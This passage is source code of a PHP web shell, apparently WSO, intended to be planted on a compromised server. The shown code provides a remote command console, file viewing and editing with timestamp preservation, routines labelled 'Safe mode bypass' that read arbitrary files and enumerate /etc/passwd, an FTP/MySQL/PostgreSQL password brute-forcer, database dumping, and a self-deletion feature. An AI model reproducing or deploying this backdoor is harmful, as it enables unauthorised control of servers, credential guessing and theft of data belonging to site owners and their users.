630 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
631 $l = $l?0:1;
632 }
633 echo "<tr><td colspan=7>
634 <input type=hidden name=a value='FilesMan'>
635 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
636 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
637 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
638 if(class_exists('ZipArchive'))
639 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
640 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
641 echo "<option value='paste'>Paste / zip</option>";
642 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
643 wsoFooter();
644}
645
646function actionStringTools() {
647 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
648 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
649 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
650 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
651 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
652 $stringTools = array(
653 'Base64 encode' => 'base64_encode',
654 'Base64 decode' => 'base64_decode',
655 'Url encode' => 'urlencode',
656 'Url decode' => 'urldecode',
657 'Full urlencode' => 'full_urlencode',
658 'md5 hash' => 'md5',
659 'sha1 hash' => 'sha1',
660 'crypt' => 'crypt',
661 'CRC32' => 'crc32',
662 'ASCII to HEX' => 'ascii2hex',
663 'HEX to ASCII' => 'hex2ascii',
664 'HEX to DEC' => 'hexdec',
665 'HEX to BIN' => 'hex2bin',
666 'DEC to HEX' => 'dechex',
667 'DEC to BIN' => 'decbin',
668 'BIN to HEX' => 'binhex',
669 'BIN to DEC' => 'bindec',
670 'String to lower case' => 'strtolower',
671 'String to upper case' => 'strtoupper',
672 'Htmlspecialchars' => 'htmlspecialchars',
673 'String length' => 'strlen',
674 );
675 if(isset($_POST['ajax'])) {
676 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
677 ob_start();
678 if(in_array($_POST['p1'], $stringTools))
679 echo $_POST['p1']($_POST['p2']);
680 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
681 echo strlen($temp), "\n", $temp;
682 exit;
683 }
684 wsoHeader();
685 echo '<h1>String conversions</h1><div class=content>';
686 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
687 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
688 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
689 foreach($stringTools as $k => $v)
690 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
691 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
692 if(!empty($_POST['p1'])) {
693 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
694 }
695 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
696 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
697 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
698 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
699 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
700 <tr><td></td><td><input type='submit' value='>>'></td></tr>
701 </table></form>";
702
703 function wsoRecursiveGlob($path) {
704 if(substr($path, -1) != '/')
705 $path.='/';
706 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
707 if(is_array($paths)&&@count($paths)) {
708 foreach($paths as $item) {
709 if(@is_dir($item)){
710 if($path!=$item)
711 wsoRecursiveGlob($item);
712 } else {
713 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
714 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
715 }
716 }
717 }
718 }
719 if(@$_POST['p3'])
720 wsoRecursiveGlob($_POST['c']);
721 echo "</div><br><h1>Search for hash:</h1><div class=content>
722 <form method='post' target='_blank' name='hf'>
723 <input type='text' name='hash' style='width:200px;'><br>
724 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
725 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
726 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
727 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
728 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
729 </form></div>";
730 wsoFooter();
731}
732
733function actionFilesTools() {
734 if( isset($_POST['p1']) )
735 $_POST['p1'] = urldecode($_POST['p1']);
736 if(@$_POST['p2']=='download') {
737 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
738 ob_start("ob_gzhandler", 4096);
739 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
740 if (function_exists("mime_content_type")) {
741 $type = @mime_content_type($_POST['p1']);
742 header("Content-Type: ".$type);
743 }
744 $fp = @fopen($_POST['p1'], "r");
745 if($fp) {
746 while(!@feof($fp))
747 echo @fread($fp, 1024);
748 fclose($fp);
749 }
750 }exit;
751 }
752 if( @$_POST['p2'] == 'mkfile' ) {
753 if(!file_exists($_POST['p1'])) {
754 $fp = @fopen($_POST['p1'], 'w');
755 if($fp) {
756 $_POST['p2'] = "edit";
757 fclose($fp);
758 }
759 }
760 }
761 wsoHeader();
762 echo '<h1>File tools</h1><div class=content>';
763 if( !file_exists(@$_POST['p1']) ) {
764 echo 'File not exists';
765 wsoFooter();
766 return;
767 }
768 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
769 if(!$uid) {
770 $uid['name'] = @fileowner($_POST['p1']);
771 $gid['name'] = @filegroup($_POST['p1']);
772 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
773 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
774 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
775 if( empty($_POST['p2']) )
776 $_POST['p2'] = 'view';
777 if( is_file($_POST['p1']) )
778 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
779 else
780 $m = array('Chmod', 'Rename', 'Touch');
781 foreach($m as $v)
782 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
783 echo '<br><br>';
784 switch($_POST['p2']) {
785 case 'view':
786 echo '<pre class=ml1>';
787 $fp = @fopen($_POST['p1'], 'r');
788 if($fp) {
789 while( !@feof($fp) )
790 echo htmlspecialchars(@fread($fp, 1024));
791 @fclose($fp);
792 }
793 echo '</pre>';
794 break;
795 case 'highlight':
796 if( @is_readable($_POST['p1']) ) {
797 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
798 $code = @highlight_file($_POST['p1'],true);
799 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
800 }
801 break;
802 case 'chmod':
803 if( !empty($_POST['p3']) ) {
804 $perms = 0;
805 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
806 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
807 if(!@chmod($_POST['p1'], $perms))
808 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
809 }
810 clearstatcache();
811 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
812 break;
813 case 'edit':
814 if( !is_writable($_POST['p1'])) {
815 echo 'File isn\'t writeable';
816 break;
817 }
818 if( !empty($_POST['p3']) ) {
819 $time = @filemtime($_POST['p1']);
820 $_POST['p3'] = substr($_POST['p3'],1);
821 $fp = @fopen($_POST['p1'],"w");
822 if($fp) {
823 @fwrite($fp,$_POST['p3']);
824 @fclose($fp);
825 echo 'Saved!<br><script>p3_="";</script>';
826 @touch($_POST['p1'],$time,$time);
827 }
828 }
829 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
830 $fp = @fopen($_POST['p1'], 'r');
831 if($fp) {
832 while( !@feof($fp) )
833 echo htmlspecialchars(@fread($fp, 1024));
834 @fclose($fp);
835 }
836 echo '</textarea><input type=submit value=">>"></form>';
837 break;
838 case 'hexdump':
839 $c = @file_get_contents($_POST['p1']);
840 $n = 0;
841 $h = array('00000000<br>','','');
842 $len = strlen($c);
843 for ($i=0; $i<$len; ++$i) {
844 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
845 switch ( ord($c[$i]) ) {
846 case 0: $h[2] .= ' '; break;
847 case 9: $h[2] .= ' '; break;
848 case 10: $h[2] .= ' '; break;
849 case 13: $h[2] .= ' '; break;
850 default: $h[2] .= $c[$i]; break;
851 }
852 $n++;
853 if ($n == 32) {
854 $n = 0;
855 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
856 $h[1] .= '<br>';
857 $h[2] .= "\n";
858 }
859 }
860 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
861 break;
862 case 'rename':
863 if( !empty($_POST['p3']) ) {
864 if(!@rename($_POST['p1'], $_POST['p3']))
865 echo 'Can\'t rename!<br>';
866 else
867 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
868 }
869 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
870 break;
871 case 'touch':
872 if( !empty($_POST['p3']) ) {
873 $time = strtotime($_POST['p3']);
874 if($time) {
875 if(!touch($_POST['p1'],$time,$time))
876 echo 'Fail!';
877 else
878 echo 'Touched!';
879 } else echo 'Bad time format!';
880 }
881 clearstatcache();
882 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
883 break;
884 }
885 echo '</div>';
886 wsoFooter();
887}
888
889function actionSafeMode() {
890 $temp='';
891 ob_start();
892 switch($_POST['p1']) {
893 case 1:
894 $temp=@tempnam($test, 'cx');
895 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
896 echo @file_get_contents($temp);
897 unlink($temp);
898 } else
899 echo 'Sorry... Can\'t open file';
900 break;
901 case 2:
902 $files = glob($_POST['p2'].'*');
903 if( is_array($files) )
904 foreach ($files as $filename)
905 echo $filename."\n";
906 break;
907 case 3:
908 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
909 curl_exec($ch);
910 break;
911 case 4:
912 ini_restore("safe_mode");
913 ini_restore("open_basedir");
914 include($_POST['p2']);
915 break;
916 case 5:
917 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
918 $uid = @posix_getpwuid($_POST['p2']);
919 if ($uid)
920 echo join(':',$uid)."\n";
921 }
922 break;
923 }
924 $temp = ob_get_clean();
925 wsoHeader();
926 echo '<h1>Safe mode bypass</h1><div class=content>';
927 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
928 if($temp)
929 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
930 echo '</div>';
931 wsoFooter();
932}
933
934function actionConsole() {
935 if(isset($_POST['ajax'])) {
936 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
937 ob_start();
938 echo "document.cf.cmd.value='';\n";
939 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
940 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
941 if(@chdir($match[1])) {
942 $GLOBALS['cwd'] = @getcwd();
943 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
944 }
945 }
946 echo "document.cf.output.value+='".$temp."';";
947 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
948 $temp = ob_get_clean();
949 echo strlen($temp), "\n", $temp;
950 exit;
951 }
952 wsoHeader();
953 echo "<script>
954if(window.Event) window.captureEvents(Event.KEYDOWN);
955var cmds = new Array('');
956var cur = 0;
957function kp(e) {
958 var n = (window.Event) ? e.which : e.keyCode;
959 if(n == 38) {
960 cur--;
961 if(cur>=0)
962 document.cf.cmd.value = cmds[cur];
963 else
964 cur++;
965 } else if(n == 40) {
966 cur++;
967 if(cur < cmds.length)
968 document.cf.cmd.value = cmds[cur];
969 else
970 cur--;
971 }
972}
973function add(cmd) {
974 cmds.pop();
975 cmds.push(cmd);
976 cmds.push('');
977 cur = cmds.length-1;
978}
979</script>";
980 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
981 foreach($GLOBALS['aliases'] as $n => $v) {
982 if($v == '') {
983 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
984 continue;
985 }
986 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
987 }
988 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
989 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
990 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
991 if(!empty($_POST['p1'])) {
992 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
993 }
994 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
995 echo '</form></div><script>document.cf.cmd.focus();</script>';
996 wsoFooter();
997}
998
999function actionLogout() {
1000 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1001 die('bye!');
1002}
1003
1004function actionSelfRemove() {
1005
1006 if($_POST['p1'] == 'yes')
1007 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1008 die('Shell has been removed');
1009 else
1010 echo 'unlink error!';
1011 if($_POST['p1'] != 'yes')
1012 wsoHeader();
1013 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1014 wsoFooter();
1015}
1016
1017function actionBruteforce() {
1018 wsoHeader();
1019 if( isset($_POST['proto']) ) {
1020 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1021 if( $_POST['proto'] == 'ftp' ) {
1022 function bruteForce($ip,$port,$login,$pass) {
1023 $fp = @ftp_connect($ip, $port?$port:21);
1024 if(!$fp) return false;
1025 $res = @ftp_login($fp, $login, $pass);
1026 @ftp_close($fp);
1027 return $res;
1028 }
1029 } elseif( $_POST['proto'] == 'mysql' ) {
1030 function bruteForce($ip,$port,$login,$pass) {
1031 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1032 @mysql_close($res);
1033 return $res;
1034 }
1035 } elseif( $_POST['proto'] == 'pgsql' ) {
1036 function bruteForce($ip,$port,$login,$pass) {
1037 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1038 $res = @pg_connect($str);
1039 @pg_close($res);
1040 return $res;
1041 }
1042 }
1043 $success = 0;
1044 $attempts = 0;
1045 $server = explode(":", $_POST['server']);
1046 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
1047 if($_POST['type'] == 1) {
1048 $temp = @file('/etc/passwd');
1049 if( is_array($temp) )
1050 foreach($temp as $line) {
1051 $line = explode(":", $line);
1052 ++$attempts;
1053 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1054 $success++;
1055 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1056 }
1057 if(@$_POST['reverse']) {
1058 $tmp = "";
1059 for($i=strlen($line[0])-1; $i>=0; --$i)
1060 $tmp .= $line[0][$i];
1061 ++$attempts;
1062 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1063 $success++;
1064 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1065 }
1066 }
1067 }
1068 } elseif($_POST['type'] == 2) {
1069 $temp = @file($_POST['dict']);
1070 if( is_array($temp) )
1071 foreach($temp as $line) {
1072 $line = trim($line);
1073 ++$attempts;
1074 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1075 $success++;
1076 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1077 }
1078 }
1079 }
1080 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1081 }
1082 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1083 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1084 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1085 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1086 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1087 .'<span>Server:port</span></td>'
1088 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1089 .'<tr><td><span>Brute type</span></td>'
1090 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1091 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1092 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1093 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1094 .'<td><input type=text name=login value="root"></td></tr>'
1095 .'<tr><td><span>Dictionary</span></td>'
1096 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1097 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1098 echo '</div><br>';
1099 wsoFooter();
1100}
1101
1102function actionSql() {
1103 class DbClass {
1104 var $type;
1105 var $link;
1106 var $res;
1107 function DbClass($type) {
1108 $this->type = $type;
1109 }
1110 function connect($host, $user, $pass, $dbname){
1111 switch($this->type) {
1112 case 'mysql':
1113 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1114 break;
1115 case 'pgsql':
1116 $host = explode(':', $host);
1117 if(!$host[1]) $host[1]=5432;
1118 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1119 break;
1120 }
1121 return false;
1122 }
1123 function selectdb($db) {
1124 switch($this->type) {
1125 case 'mysql':
1126 if (@mysql_select_db($db))return true;
1127 break;
1128 }
1129 return false;
1130 }
1131 function query($str) {
1132 switch($this->type) {
1133 case 'mysql':
1134 return $this->res = @mysql_query($str);
1135 break;
1136 case 'pgsql':
1137 return $this->res = @pg_query($this->link,$str);
1138 break;
1139 }
1140 return false;
1141 }
1142 function fetch() {
1143 $res = func_num_args()?func_get_arg(0):$this->res;
1144 switch($this->type) {
1145 case 'mysql':
1146 return @mysql_fetch_assoc($res);
1147 break;
1148 case 'pgsql':
1149 return @pg_fetch_assoc($res);
1150 break;
1151 }
1152 return false;
1153 }
1154 function listDbs() {
1155 switch($this->type) {
1156 case 'mysql':
1157 return $this->res = @mysql_list_dbs($this->link);
1158 break;
1159 case 'pgsql':
1160 return $this->res = $this->query("SELECT datname FROM pg_database");
1161 break;
1162 }
1163 return false;
1164 }
1165 function listTables() {
1166 switch($this->type) {
1167 case 'mysql':
1168 return $this->res = $this->query('SHOW TABLES');
1169 break;
1170 case 'pgsql':
1171 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1172 break;
1173 }
1174 return false;
1175 }
1176 function error() {
1177 switch($this->type) {
1178 case 'mysql':
1179 return @mysql_error($this->link);
1180 break;
1181 case 'pgsql':
1182 return @pg_last_error($this->link);
1183 break;
1184 }
1185 return false;
1186 }
1187 function setCharset($str) {
1188 switch($this->type) {
1189 case 'mysql':
1190 if(function_exists('mysql_set_charset'))
1191 return @mysql_set_charset($str, $this->link);
1192 else
1193 $this->query('SET CHARSET '.$str);
1194 break;
1195 case 'pgsql':
1196 return @pg_set_client_encoding($this->link, $str);
1197 break;
1198 }
1199 return false;
1200 }
1201 function loadFile($str) {
1202 switch($this->type) {
1203 case 'mysql':
1204 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1205 break;
1206 case 'pgsql':
1207 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1208 $r=array();
1209 while($i=$this->fetch())
1210 $r[] = $i['file'];
1211 $this->query('drop table wso2');
1212 return array('file'=>implode("\n",$r));
1213 break;
1214 }
1215 return false;
1216 }
1217 function dump($table) {
1218 switch($this->type) {
1219 case 'mysql':
1220 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1221 $create = mysql_fetch_array($res);
1222 echo $create[1].";\n\n";
1223 $this->query('SELECT * FROM `'.$table.'`');
1224 while($item = $this->fetch()) {
1225 $columns = array();
1226 foreach($item as $k=>$v) {
1227 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1228 $columns[] = "`".$k."`";
1229 }
1230 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1231 }
1232 break;
1233 case 'pgsql':
1234 $this->query('SELECT * FROM '.$table);
1235 while($item = $this->fetch()) {
1236 $columns = array();
1237 foreach($item as $k=>$v) {
1238 $item[$k] = "'".addslashes($v)."'";
1239 $columns[] = $k;
1240 }
1241 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1242 }
1243 break;
1244 }
1245 return false;
1246 }
1247 };
1248 $db = new DbClass($_POST['type']);
1249 if(@$_POST['p2']=='download') {
1250 ob_start("ob_gzhandler", 4096);
1251 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1252 $db->selectdb($_POST['sql_base']);
1253 header("Content-Disposition: attachment; filename=dump.sql");
1254 header("Content-Type: text/plain");
1255 foreach($_POST['tbl'] as $v)
1256 $db->dump($v);
1257 exit;
1258 }
1259 wsoHeader();
1260 echo "
1261<h1>Sql browser</h1><div class=content>
1262<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1263<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1264<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1265<td><select name='type'><option value='mysql' ";
1266 if(@$_POST['type']=='mysql')echo 'selected';
1267echo ">MySql</option><option value='pgsql' ";
1268if(@$_POST['type']=='pgsql')echo 'selected';
1269echo ">PostgreSql</option></select></td>
1270<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1271<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1272<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1273 $tmp = "<input type=text name=sql_base value=''>";
1274 if(isset($_POST['sql_host'])){
1275 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1276 switch($_POST['charset']) {
1277 case "Windows-1251": $db->setCharset('cp1251'); break;
1278 case "UTF-8": $db->setCharset('utf8'); break;
1279 case "KOI8-R": $db->setCharset('koi8r'); break;
1280 case "KOI8-U": $db->setCharset('koi8u'); break;
1281 case "cp866": $db->setCharset('cp866'); break;
1282 }
1283 $db->listDbs();
1284 echo "<select name=sql_base><option value=''></option>";
1285 while($item = $db->fetch()) {
1286 list($key, $value) = each($item);
1287 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1288 }
1289 echo '</select>';
1290 }
1291 else echo $tmp;
1292 }else
1293 echo $tmp;
1294 echo "</td>
1295 <td><input type=submit value='>>'></td>
1296 </tr>
1297 </table>
1298 <script>
1299 function st(t,l) {
1300 document.sf.p1.value = 'select';
1301 document.sf.p2.value = t;
1302 if(l!=null)document.sf.p3.value = l;
1303 document.sf.submit();
1304 }
1305 function is() {
1306 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1307 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1308 }
1309 </script>";
1310 if(isset($db) && $db->link){
1311 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1312 if(!empty($_POST['sql_base'])){
1313 $db->selectdb($_POST['sql_base']);
1314 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1315 $tbls_res = $db->listTables();
1316 while($item = $db->fetch($tbls_res)) {
1317 list($key, $value) = each($item);
1318 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1319 $value = htmlspecialchars($value);
1320 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1321 }
1322 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1323 if(@$_POST['p1'] == 'select') {
1324 $_POST['p1'] = 'query';
1325 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1326 $num = $db->fetch();
1327 $num = $num['n'];
1328 echo "<span>".$_POST['p2']."</span> ($num) ";
1329 for($i=0;$i<($num/30);$i++)
